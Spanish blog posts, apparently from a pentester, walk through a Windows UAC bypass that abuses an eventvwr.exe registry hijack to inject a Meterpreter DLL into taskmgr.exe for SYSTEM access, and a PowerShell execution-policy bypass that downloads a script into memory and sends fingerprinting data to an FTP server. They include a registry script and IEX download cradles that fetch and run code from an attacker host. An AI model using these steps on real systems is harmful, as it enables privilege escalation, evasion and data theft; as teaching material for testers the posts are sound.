Bypass UAC tipo DLL Hijacking

Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalda de privilegios o persistencia en un sistema. Consiste en hacer un "secuestro" de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. 

Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL.

Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. 

DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus.

Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: 
  • DLL Hijacking: "Suplantación" -secuestro- de una carga DLL existente en el proceso de ejecución de un binario.
  • DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario ejecutándose.

Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless

En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente.

Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\SYSTEM.

Resumen de pasos del proceso:
  • 1. Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM.
  • 2. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo si para eventvwr.exe.
  • 3. Desde la sesión Meterpreter cargamos los módulo Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden).
  • 4. Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe.
  • 5. Desde powershell_import importamos el un script "eventvwr-reg.ps1" que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos.
Script eventvwr-reg.ps1
$path = "HKCU:\Software\Classes\mscfile\shell\open\command"
$execute = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/codes/invoke-dllinjection.txt')`""
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $execute -Force | Out-Null
  • 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter.
  • 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta.
  • 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM.

Vídeo demo - PoC

En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso.



Saludos!

08 mayo, 2020

Fingerprinting con PowerShell y envío de información a un servidor FTP (Vídeo PoC)

En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo que se conoce como la fase de fingerprinting dentro de una post-explotación.

El uso de Powershell nos ayuda principalmente en las fases de post-explotación y fingerprinting para la recolección de información del sistema, usuarios y grupos locales, parches instalados, procesos en ejecución, servicios activos, etc.

En esta ocasión dejo referencia a un script que contiene una función de ejemplo recopilando varios datos de una máquina comprometida y posteriormente enviando estos datos de retorno a un servidor FTP escuchando en la máquina atacante.

Referencia del script Powershell en mi repositorio de Github:

Bypass ExecutionPolicy en Powershell usando funciones

Existen multitud de técnicas para la evasión de la política de ejecución de scripts en Powershell, sobre esto hablaré en otro artículo. Una de ellas es a través del uso de funciones y como se cargan en memoria en el provider de funciones.

Al usar una función a través de un script ps1, podemos importar este script a través de una sesión Meterpreter de Metasploit, cargándose en memoria en el provider de funciones de esa instancia Powershell de la máquina remota. No será necesario subir el script a la máquina remota escribiendo en disco, evitando así una posible detección por parte de los antivirus. Es script llevará como extensión .txt y estará alojado en un servidor web apache2, la forma de importarlo será a través del módulo powershell_shell de Meterpreter, una vez conectados ejecutamos un IEX (Invoke-Expression) con el cmdlet Invoke-WebRequest.
# Powershell v1.0/v2.0
IEX (New-Object Net.WebClient).DownloadString('http://web/script.txt')

# Powershell v3.0 y superiores
IEX (Invoke-WebRequest -Uri 'http://web/script.txt' -UseBasicParsing)
Con una función cargada en memoria podremos hacer un bypass de la política de ejecución de scripts de Powershell, independientemente de cual esté establecida en la máquina remota. 

En el siguiente vídeo se observa como la ExecutionPolicy está establecida en Restricted e igualmente podemos importar el script e invocar la función cargada en memoria.

Vídeo demo - PoC

He grabado un vídeo demo que muestra la PoC en la que se compromete una máquina en una fase de explotación típica a través de un fichero que contendrá el Payload de un Meterpreter y que estaremos a la escucha desde el handler de conexiones para establecer una sesión en Metasploit. Se importa el script en formato .txt con un método Invoke-WebRequest (en este caso el formato no tiene demasiada relevancia podría ser directamente .ps1), de esta forma haremos un bypass de la política de ejecución de Powershell en el caso de que estuviese en modo "Restricted". Este script se cargará como una función en memoria, invocándola desde ahí y evadiendo así la política de ejecución de script, recopilará información y la enviará de vuelta a un servidor FTP que estará a la escucha e la máquina Kali.

Vídeo: https://youtu.be/JY33NkpAaeI


Saludos!